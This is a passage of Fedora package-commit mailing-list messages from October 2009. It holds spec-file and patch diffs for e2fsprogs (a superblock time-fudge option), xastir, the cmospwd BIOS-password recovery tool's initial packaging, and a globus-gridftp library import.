 e2fsck/problem.c          |    4 ++--
 e2fsck/super.c            |   42 ++++++++++++++++++++++++------------------
 5 files changed, 48 insertions(+), 42 deletions(-)
 delete mode 100644 e2fsck/e2fsck.conf.ubuntu

diff --git a/debian/rules b/debian/rules
index f62e86f..f658bd1 100755
--- a/debian/rules
+++ b/debian/rules
@@ -445,12 +445,6 @@ endif
 	$(INSTALL) -p -m 0644 debugfs/debug_cmds.ct \
 		${debdir}/ss-dev/usr/share/doc/libss${SS_SOVERSION}/examples
 
-	if test -f /etc/lsb-release && \
-		grep -q DISTRIB_ID=Ubuntu /etc/lsb-release; then \
-	$(INSTALL) -p -m 0644 e2fsck/e2fsck.conf.ubuntu \
-		${debdir}/e2fsprogs/etc/e2fsck.conf; \
-	fi
-
 	dh_installinfo -pcomerr-dev ${stdbuilddir}/lib/et/com_err.info
 	dh_installinfo -pe2fslibs-dev ${stdbuilddir}/doc/libext2fs.info
 
diff --git a/e2fsck/e2fsck.conf.5.in b/e2fsck/e2fsck.conf.5.in
index 6638a39..a5021bd 100644
--- a/e2fsck/e2fsck.conf.5.in
+++ b/e2fsck/e2fsck.conf.5.in
@@ -87,19 +87,27 @@ interrupts e2fsck using ^C, and the filesystem is not explicitly flagged
 as containing errors, e2fsck will exit with an exit status of 0 instead
 of 32.  This setting defaults to false.
 .TP
-.I buggy_init_scripts
-Some buggy distributions (such as Ubuntu) have init scripts and/or
-installers which fail to correctly set the system clock before running
-e2fsck and/or formatting the filesystem initially.  Normally this
-happens because the hardware clock is ticking localtime, instead of the
-more proper and less error-prone UTC time.  So while the kernel is
-booting, the system time (which in Linux systems always ticks in UTC
-time) is set from the hardware clock, but since the hardware clock is
-ticking localtime, the system time is incorrect.  Unfortunately, some
-buggy distributions do not correct this before running e2fsck.  If this
-option is set to a boolean value of true, we attempt to work around this
-situation by allowing the superblock last write time, last mount time,
-and last check time to be in the future by up to 24 hours.
+.I accept_time_fudge
+Unfortunately, due to Windows' unfortunate design decision
+to configure the hardware clock to tick localtime, instead
+of the more proper and less error-prone UTC time, many
+users end up in the situation where the system clock is
+incorrectly set at the time when e2fsck is run.
+.IP
+Historically this was usually due to some distributions
+having buggy init scripts and/or installers that didn't
+correctly detect this case and take appropriate
+countermeasures.  However, it's still possible, despite the
+best efforts of init script and installer authors to not be
+able to detect this misconfiguration, usually due to a
+buggy or misconfigured virtualization manager or the
+installer not having access to a network time server
+during the installation process.  So by default, we allow
+the superblock times to be fudged by up to 24 hours.
+This can be disabled by setting
+.I accept_time_fudge
+to the
+boolean value of false.  This setting defaults to true.
 .TP
 .I clear_test_fs_flag
 This boolean relation controls whether or not 
@@ -111,7 +119,7 @@ defaults to true.
 .I defer_check_on_battery
 This boolean relation controls whether or not the interval between 
 filesystem checks (either based on time or number of mounts) should 
-be doubled if the system is running on battery.  It defaults to 
+be doubled if the system is running on battery.  This setting defaults to 
 true.
 .TP
 .I indexed_dir_slack_percentage
diff --git a/e2fsck/e2fsck.conf.ubuntu b/e2fsck/e2fsck.conf.ubuntu
deleted file mode 100644
index 49d6d19..0000000
--- a/e2fsck/e2fsck.conf.ubuntu
+++ /dev/null
@@ -1,2 +0,0 @@
-[options]
-	buggy_init_scripts = 1
diff --git a/e2fsck/problem.c b/e2fsck/problem.c
index 540ac91..a713f1b 100644
--- a/e2fsck/problem.c
+++ b/e2fsck/problem.c
@@ -388,13 +388,13 @@ static struct e2fsck_problem problem_table[] = {
 	/* Last mount time is in the future (fudged) */
 	{ PR_0_FUTURE_SB_LAST_MOUNT_FUDGED,
 	  N_("@S last mount time is in the future.\n\t(by less than a day, "
-	     "probably due to buggy init scripts)  "),
+	     "probably due to the hardware clock being incorrectly set)  "),
 	  PROMPT_FIX, PR_PREEN_OK | PR_NO_OK },
 
 	/* Last write time is in the future (fudged) */
 	{ PR_0_FUTURE_SB_LAST_WRITE_FUDGED,
 	  N_("@S last write time is in the future.\n\t(by less than a day, "
-	     "probably due to buggy init scripts).  "),
+	     "probably due to the hardware clock being incorrectly set).  "),
 	  PROMPT_FIX, PR_PREEN_OK | PR_NO_OK },
 
 	/* Block group checksum (latch question) is invalid. */
diff --git a/e2fsck/super.c b/e2fsck/super.c
index c946664..951f6db 100644
--- a/e2fsck/super.c
+++ b/e2fsck/super.c
@@ -463,7 +463,7 @@ void check_super_block(e2fsck_t ctx)
 	int	inodes_per_block;
 	int	ipg_max;
 	int	inode_size;
-	int	buggy_init_scripts;
+	int	accept_time_fudge;
 	dgrp_t	i;
 	blk_t	should_be;
 	struct problem_context	pctx;
@@ -795,25 +795,31 @@ void check_super_block(e2fsck_t ctx)
 	}
 
 	/*
-	 * Some buggy distributions (such as Ubuntu) have init scripts
-	 * and/or installers which fail to correctly set the system
-	 * clock before running e2fsck and/or formatting the
-	 * filesystem initially.  Normally this happens because the
-	 * hardware clock is ticking localtime, instead of the more
-	 * proper and less error-prone UTC time.  So while the kernel
-	 * is booting, the system time (which in Linux systems always
-	 * ticks in UTC time) is set from the hardware clock, but
-	 * since the hardware clock is ticking localtime, the system
-	 * time is incorrect.  Unfortunately, some buggy distributions
-	 * do not correct this before running e2fsck.  If this option
-	 * is set to a boolean value of true, we attempt to work
-	 * around this situation by allowing the superblock last write
-	 * time, last mount time, and last check time to be in the
-	 * future by up to 24 hours.
+	 * Unfortunately, due to Windows' unfortunate design decision
+	 * to configure the hardware clock to tick localtime, instead
+	 * of the more proper and less error-prone UTC time, many
+	 * users end up in the situation where the system clock is
+	 * incorrectly set at the time when e2fsck is run.
+	 *
+	 * Historically this was usually due to some distributions
+	 * having buggy init scripts and/or installers that didn't
+	 * correctly detect this case and take appropriate
+	 * countermeasures.  However, it's still possible, despite the
+	 * best efforts of init script and installer authors to not be
+	 * able to detect this misconfiguration, usually due to a
+	 * buggy or misconfigured virtualization manager or the
+	 * installer not having access to a network time server during
+	 * the installation process.  So by default, we allow the
+	 * superblock times to be fudged by up to 24 hours.  This can
+	 * be disabled by setting options.accept_time_fudge to the
+	 * boolean value of false in e2fsck.conf.  We also support
+	 * options.buggy_init_scripts for backwards compatibility.
 	 */
+	profile_get_boolean(ctx->profile, "options", "accept_time_fudge",
+			    0, 1, &accept_time_fudge);
 	profile_get_boolean(ctx->profile, "options", "buggy_init_scripts",
-			    0, 0, &buggy_init_scripts);
-	ctx->time_fudge = buggy_init_scripts ? 86400 : 0;
+			    0, accept_time_fudge, &accept_time_fudge);
+	ctx->time_fudge = accept_time_fudge ? 86400 : 0;
 
 	/*
 	 * Check to see if the superblock last mount time or last
-- 1.6.5.104.g2567b.dirty


Index: e2fsprogs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/e2fsprogs/F-12/e2fsprogs.spec,v
retrieving revision 1.151
retrieving revision 1.152
diff -u -p -r1.151 -r1.152
--- e2fsprogs.spec	14 Sep 2009 15:34:39 -0000	1.151
+++ e2fsprogs.spec	19 Oct 2009 17:58:09 -0000	1.152
@@ -4,7 +4,7 @@
 Summary: Utilities for managing ext2, ext3, and ext4 filesystems
 Name: e2fsprogs
 Version: 1.41.9
-Release: 3%{?dist}
+Release: 4%{?dist}
 
 # License tags based on COPYING file distinctions for various components
 License: GPLv2
@@ -14,6 +14,7 @@ Source1: ext2_types-wrapper.h
 
 Patch2: e2fsprogs-1.40.4-sb_feature_check_ignore.patch
 Patch4: e2fsprogs-resize-minimum-fix.patch
+Patch5: e2fsprogs-1.41.9-24hr-fsck-grace.patch
 
 Url: http://e2fsprogs.sourceforge.net/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -140,6 +141,7 @@ It was originally inspired by the Multic
 # after an selinux install...
 %patch2 -p1 -b .featurecheck
 %patch4 -p1 -b .resize
+%patch5 -p1 -b .24h
 
 %build
 %configure --enable-elf-shlibs --enable-nls --disable-uuidd --disable-fsck \
@@ -297,6 +299,9 @@ exit 0
 %{_libdir}/pkgconfig/ss.pc
 
 %changelog
+* Mon Oct 19 2009 Eric Sandeen <sandeen at redhat.com> 1.41.9-4
+- Allow superblock timestamp differences up to 24h (#522969)
+
 * Thu Sep 14 2009 Eric Sandeen <sandeen at redhat.com> 1.41.9-3
 - Drop defrag bits for now, not ready yet.
 



From lucilanga at fedoraproject.org  Mon Oct 19 17:58:06 2009
From: lucilanga at fedoraproject.org (Lucian Langa)
Date: Mon, 19 Oct 2009 17:58:06 +0000 (UTC)
Subject: rpms/xastir/F-12 xastir-1.9.6-libdir.patch, NONE, 1.1 .cvsignore,
	1.5, 1.6 sources, 1.5, 1.6 xastir.spec, 1.21,
	1.22 xastir-1.9.4-engunits.patch, 1.4, NONE
Message-ID: <20091019175806.5AEC411C00DC@cvs1.fedora.phx.redhat.com>

Author: lucilanga

Update of /cvs/pkgs/rpms/xastir/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24438

Modified Files:
	.cvsignore sources xastir.spec 
Added Files:
	xastir-1.9.6-libdir.patch 
Removed Files:
	xastir-1.9.4-engunits.patch 
Log Message:
* Mon Oct 19 2009 Lucian Langa <cooly at gnome.eu.org> - 1:1.9.6-1
- drop patch1 (fixed upstream)
- new upstream release

xastir-1.9.6-libdir.patch:
 Makefile.am |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE xastir-1.9.6-libdir.patch ---
diff -Naur xastir-1.9.6/scripts/Makefile.am xastir-1.9.6-mod/scripts/Makefile.am
--- xastir-1.9.6/scripts/Makefile.am	2009-05-23 00:35:05.000000000 +0300
+++ xastir-1.9.6-mod/scripts/Makefile.am	2009-10-13 08:25:15.000000000 +0300
@@ -3,7 +3,7 @@
 # Copyright (C) 2000-2009  The Xastir Group
 #
 
-pkglib_SCRIPTS = \
+pkgdata_SCRIPTS = \
     Coordinate.pm \
     coord-convert.pl \
     get-fcc-rac.pl \
@@ -43,5 +43,5 @@
     xastir-migrate.sh \
     Xastir_tigerpoly.py
 
-EXTRA_DIST = $(pkglib_SCRIPTS)
+EXTRA_DIST = $(pkgdata_SCRIPTS)
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xastir/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	10 Mar 2009 18:30:28 -0000	1.5
+++ .cvsignore	19 Oct 2009 17:58:06 -0000	1.6
@@ -1 +1 @@
-xastir-1.9.4.tar.gz
+xastir-1.9.6.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xastir/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	10 Mar 2009 18:30:28 -0000	1.5
+++ sources	19 Oct 2009 17:58:06 -0000	1.6
@@ -1 +1 @@
-415a19df810d0b28ac61aa444c3e7e0a  xastir-1.9.4.tar.gz
+78ed29f798c0d9d6ddee26831a1732ea  xastir-1.9.6.tar.gz


Index: xastir.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xastir/F-12/xastir.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- xastir.spec	10 Aug 2009 19:35:21 -0000	1.21
+++ xastir.spec	19 Oct 2009 17:58:06 -0000	1.22
@@ -1,15 +1,14 @@
 Summary: Amateur Station Tracking and Reporting system for amateur radio
 Name:    xastir
 Epoch:   1
-Version: 1.9.4
-Release: 10%{?dist}
+Version: 1.9.6
+Release: 1%{?dist}
 License: GPLv2+
 Group:   Applications/Internet
 Source0: http://downloads.sourceforge.net/xastir/xastir-%{version}.tar.gz
 Source1: %{name}.desktop
 Source2: %{name}.png
-Patch0:  xastir-1.9.4-libdir.patch
-Patch1:  xastir-1.9.4-engunits.patch
+Patch0:  xastir-1.9.6-libdir.patch
 URL:     http://www.xastir.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires: wget
@@ -28,7 +27,6 @@ software.
 %prep
 %setup -q -n %{name}-%{version}
 %patch0 -p1 -b .libdir
-%patch1 -p1 -b .engunits
 
 %build
 #./bootstrap.sh
@@ -45,7 +43,7 @@ for f in README ChangeLog ; do
     touch -r $f.iso88591 $f
     rm -f $f.iso88591
 done
-dos2unix -k scripts/toporama250k.pl 
+dos2unix -k scripts/toporama250k.pl
 
 %install
 rm -rf %{buildroot}
@@ -74,6 +72,7 @@ rm -rf %{buildroot}
 %defattr(-,root,root,-)
 %{_bindir}/xastir
 %{_bindir}/xastir_udp_client
+%{_bindir}/testdbfawk
 %{_bindir}/callpass
 %{_mandir}/man1/xastir.*
 %{_datadir}/xastir
@@ -84,6 +83,10 @@ rm -rf %{buildroot}
 %doc README.MAPS README.win32 UPGRADE
 
 %changelog
+* Mon Oct 19 2009 Lucian Langa <cooly at gnome.eu.org> - 1:1.9.6-1
+- drop patch1 (fixed upstream)
+- new upstream release
+
 * Mon Aug 10 2009 Lucian Langa <cooly at gnome.eu.org> - 1:1.9.4-10
 - update BR as xfontsel is in xorg-x11-apps package
 
@@ -163,15 +166,15 @@ rm -rf %{buildroot}
 * Thu Jul 03 2003 Alan Crosswell <n2ygk at weca.org>
 - 1.2.1 my patches now integrated into the main trunk.
 
-* Sat Jun 21 2003 Alan Crosswell <n2ygk at weca.org> 
+* Sat Jun 21 2003 Alan Crosswell <n2ygk at weca.org>
 - added xastir-maps.patch
 
-* Mon Jun 16 2003 Alan Crosswell <n2ygk at weca.org> 
+* Mon Jun 16 2003 Alan Crosswell <n2ygk at weca.org>
 - 1.2.0
 
-* Fri Jun 06 2003 Alan Crosswell <n2ygk at weca.org> 
+* Fri Jun 06 2003 Alan Crosswell <n2ygk at weca.org>
 - June 5 snapshot
 
-* Thu May 15 2003 Alan Crosswell <n2ygk at weca.org> 
+* Thu May 15 2003 Alan Crosswell <n2ygk at weca.org>
 - start with chuck's spec file for 1.1.4
 


--- xastir-1.9.4-engunits.patch DELETED ---



From atorkhov at fedoraproject.org  Mon Oct 19 17:59:00 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Mon, 19 Oct 2009 17:59:00 +0000 (UTC)
Subject: rpms/cmospwd/F-11 cmospwd.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091019175900.0D38111C00DC@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/cmospwd/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24756

Modified Files:
	.cvsignore sources 
Added Files:
	cmospwd.spec 
Log Message:
* Thu Oct 15 2009 Alexey Torkhov <atorkhov at gmail.com> - 5.0-1
- Initial packaging



--- NEW FILE cmospwd.spec ---
Name:           cmospwd
Version:        5.0
Release:        1%{?dist}
Summary:        BIOS password cracker utility

Group:          System Environment/Base
License:        GPLv2+
URL:            http://www.cgsecurity.org/wiki/CmosPwd
Source0:        http://www.cgsecurity.org/%{name}-%{version}.tar.bz2
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

# Fails to build on other arches and not useful there either, I think
ExclusiveArch:  %{ix86} x86_64

BuildRequires:  dos2unix

%description
CmosPwd decrypts password stored in cmos used to access BIOS SETUP.
Works with the following BIOSes

    * ACER/IBM BIOS
    * AMI BIOS
    * AMI WinBIOS 2.5
    * Award 4.5x/4.6x/6.0
    * Compaq (1992)
    * Compaq (New version)
    * IBM (PS/2, Activa, Thinkpad)
    * Packard Bell
    * Phoenix 1.00.09.AC0 (1994), a486 1.03, 1.04, 1.10 A03, 4.05 rev 1.02.943,
      4.06 rev 1.13.1107
    * Phoenix 4 release 6 (User)
    * Gateway Solo - Phoenix 4.0 release 6
    * Toshiba
    * Zenith AMI

With CmosPwd, you can also backup, restore and erase/kill cmos.


%prep
%setup -q

rm src/%{name}

dos2unix %{name}.txt
iconv -f iso-8859-1 -t utf-8 %{name}.txt > %{name}.new
touch -r %{name}.txt %{name}.new
mv %{name}.new %{name}.txt


%build
cd src
make CFLAGS="%{optflags}" %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
install -D -m 755 src/%{name} $RPM_BUILD_ROOT%{_sbindir}/%{name}


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc COPYING %{name}.txt
%{_sbindir}/%{name}


%changelog
* Thu Oct 15 2009 Alexey Torkhov <atorkhov at gmail.com> - 5.0-1
- Initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cmospwd/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:20:18 -0000	1.1
+++ .cvsignore	19 Oct 2009 17:58:59 -0000	1.2
@@ -0,0 +1 @@
+cmospwd-5.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cmospwd/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:20:18 -0000	1.1
+++ sources	19 Oct 2009 17:58:59 -0000	1.2
@@ -0,0 +1 @@
+24c8caf61ff244dc2aae0ebfde47dd45  cmospwd-5.0.tar.bz2



From sandeen at fedoraproject.org  Mon Oct 19 17:59:17 2009
From: sandeen at fedoraproject.org (Eric Sandeen)
Date: Mon, 19 Oct 2009 17:59:17 +0000 (UTC)
Subject: rpms/e2fsprogs/F-12 e2fsprogs.spec,1.152,1.153
Message-ID: <20091019175917.E6A7111C00DC@cvs1.fedora.phx.redhat.com>

Author: sandeen

Update of /cvs/pkgs/rpms/e2fsprogs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24887

Modified Files:
	e2fsprogs.spec 
Log Message:
* Mon Oct 19 2009 Eric Sandeen <sandeen at redhat.com> 1.41.9-5
- Allow superblock timestamp differences up to 24h (#522969)



Index: e2fsprogs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/e2fsprogs/F-12/e2fsprogs.spec,v
retrieving revision 1.152
retrieving revision 1.153
diff -u -p -r1.152 -r1.153
--- e2fsprogs.spec	19 Oct 2009 17:58:09 -0000	1.152
+++ e2fsprogs.spec	19 Oct 2009 17:59:17 -0000	1.153
@@ -4,7 +4,7 @@
 Summary: Utilities for managing ext2, ext3, and ext4 filesystems
 Name: e2fsprogs
 Version: 1.41.9
-Release: 4%{?dist}
+Release: 5%{?dist}
 
 # License tags based on COPYING file distinctions for various components
 License: GPLv2
@@ -299,7 +299,7 @@ exit 0
 %{_libdir}/pkgconfig/ss.pc
 
 %changelog
-* Mon Oct 19 2009 Eric Sandeen <sandeen at redhat.com> 1.41.9-4
+* Mon Oct 19 2009 Eric Sandeen <sandeen at redhat.com> 1.41.9-5
 - Allow superblock timestamp differences up to 24h (#522969)
 
 * Thu Sep 14 2009 Eric Sandeen <sandeen at redhat.com> 1.41.9-3



From atorkhov at fedoraproject.org  Mon Oct 19 18:00:10 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Mon, 19 Oct 2009 18:00:10 +0000 (UTC)
Subject: rpms/cmospwd/F-10 cmospwd.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091019180010.344DE11C02A6@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/cmospwd/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25183

Modified Files:
	.cvsignore sources 
Added Files:
	cmospwd.spec 
Log Message:
* Thu Oct 15 2009 Alexey Torkhov <atorkhov at gmail.com> - 5.0-1
- Initial packaging



--- NEW FILE cmospwd.spec ---
Name:           cmospwd
Version:        5.0
Release:        1%{?dist}
Summary:        BIOS password cracker utility

Group:          System Environment/Base
License:        GPLv2+
URL:            http://www.cgsecurity.org/wiki/CmosPwd
Source0:        http://www.cgsecurity.org/%{name}-%{version}.tar.bz2
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

# Fails to build on other arches and not useful there either, I think
ExclusiveArch:  %{ix86} x86_64

BuildRequires:  dos2unix

%description
CmosPwd decrypts password stored in cmos used to access BIOS SETUP.
Works with the following BIOSes

    * ACER/IBM BIOS
    * AMI BIOS
    * AMI WinBIOS 2.5
    * Award 4.5x/4.6x/6.0
    * Compaq (1992)
    * Compaq (New version)
    * IBM (PS/2, Activa, Thinkpad)
    * Packard Bell
    * Phoenix 1.00.09.AC0 (1994), a486 1.03, 1.04, 1.10 A03, 4.05 rev 1.02.943,
      4.06 rev 1.13.1107
    * Phoenix 4 release 6 (User)
    * Gateway Solo - Phoenix 4.0 release 6
    * Toshiba
    * Zenith AMI

With CmosPwd, you can also backup, restore and erase/kill cmos.


%prep
%setup -q

rm src/%{name}

dos2unix %{name}.txt
iconv -f iso-8859-1 -t utf-8 %{name}.txt > %{name}.new
touch -r %{name}.txt %{name}.new
mv %{name}.new %{name}.txt


%build
cd src
make CFLAGS="%{optflags}" %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
install -D -m 755 src/%{name} $RPM_BUILD_ROOT%{_sbindir}/%{name}


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc COPYING %{name}.txt
%{_sbindir}/%{name}


%changelog
* Thu Oct 15 2009 Alexey Torkhov <atorkhov at gmail.com> - 5.0-1
- Initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cmospwd/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:20:18 -0000	1.1
+++ .cvsignore	19 Oct 2009 18:00:09 -0000	1.2
@@ -0,0 +1 @@
+cmospwd-5.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cmospwd/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:20:18 -0000	1.1
+++ sources	19 Oct 2009 18:00:10 -0000	1.2
@@ -0,0 +1 @@
+24c8caf61ff244dc2aae0ebfde47dd45  cmospwd-5.0.tar.bz2



From ellert at fedoraproject.org  Mon Oct 19 18:00:58 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 18:00:58 +0000 (UTC)
Subject: rpms/globus-gridftp-server-control/devel
	globus-gridftp-server-control.patch, NONE,
	1.1 globus-gridftp-server-control.spec, NONE, 1.1 import.log,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019180058.34F9011C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gridftp-server-control/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25496/devel

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gridftp-server-control.patch 
	globus-gridftp-server-control.spec import.log 
Log Message:
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.36-1
- Autogenerated


globus-gridftp-server-control.patch:
 globus_gridftp_server_control.c |    4 ++++
 1 file changed, 4 insertions(+)

--- NEW FILE globus-gridftp-server-control.patch ---
diff -ur globus_gridftp_server_control-0.36.orig/globus_gridftp_server_control.c globus_gridftp_server_control-0.36/globus_gridftp_server_control.c
--- globus_gridftp_server_control-0.36.orig/globus_gridftp_server_control.c	2008-10-02 05:46:49.000000000 +0200
+++ globus_gridftp_server_control-0.36/globus_gridftp_server_control.c	2009-08-06 13:09:14.354409279 +0200
@@ -25,6 +25,10 @@
 #include <fnmatch.h>
 #endif
 
+#ifndef MAXPATHLEN
+#define MAXPATHLEN 4096
+#endif
+
 #define DEFAULT_MAX_Q_LEN               10
 #define GSU_MAX_USERNAME_LENGTH         256
 #define GSU_MAX_PW_LENGTH               GSU_MAX_USERNAME_LENGTH*6


--- NEW FILE globus-gridftp-server-control.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gridftp-server-control
%global _name %(tr - _ <<< %{name})
Version:	0.36
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus GridFTP Server Library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gridftp/server-lib/src globus_gridftp_server_control-0.36
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gridftp_server_control-0.36
#		tar -zcf globus_gridftp_server_control-0.36.tar.gz globus_gridftp_server_control-0.36
Source:		%{_name}-%{version}.tar.gz
#		MAXPATHLENGTH should not be defined in installed headers:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6829
Patch0:		%{name}.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-xio-gsi-driver%{?_isa}
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 5
BuildRequires:	globus-xio-gsi-driver-devel%{?_isa}
BuildRequires:	globus-xio-devel%{?_isa}

%package devel
Summary:	Globus Toolkit - Globus GridFTP Server Library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 5
Requires:	globus-xio-gsi-driver-devel%{?_isa}
Requires:	globus-xio-devel%{?_isa}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus GridFTP Server Library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Globus GridFTP Server Library Development Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.36-1
- Autogenerated


--- NEW FILE import.log ---
globus-gridftp-server-control-0_36-1_fc11:HEAD:globus-gridftp-server-control-0.36-1.fc11.src.rpm:1255975235


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gridftp-server-control/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:24:59 -0000	1.1
+++ .cvsignore	19 Oct 2009 18:00:57 -0000	1.2
@@ -0,0 +1 @@
+globus_gridftp_server_control-0.36.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gridftp-server-control/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:24:59 -0000	1.1
+++ sources	19 Oct 2009 18:00:58 -0000	1.2
@@ -0,0 +1 @@
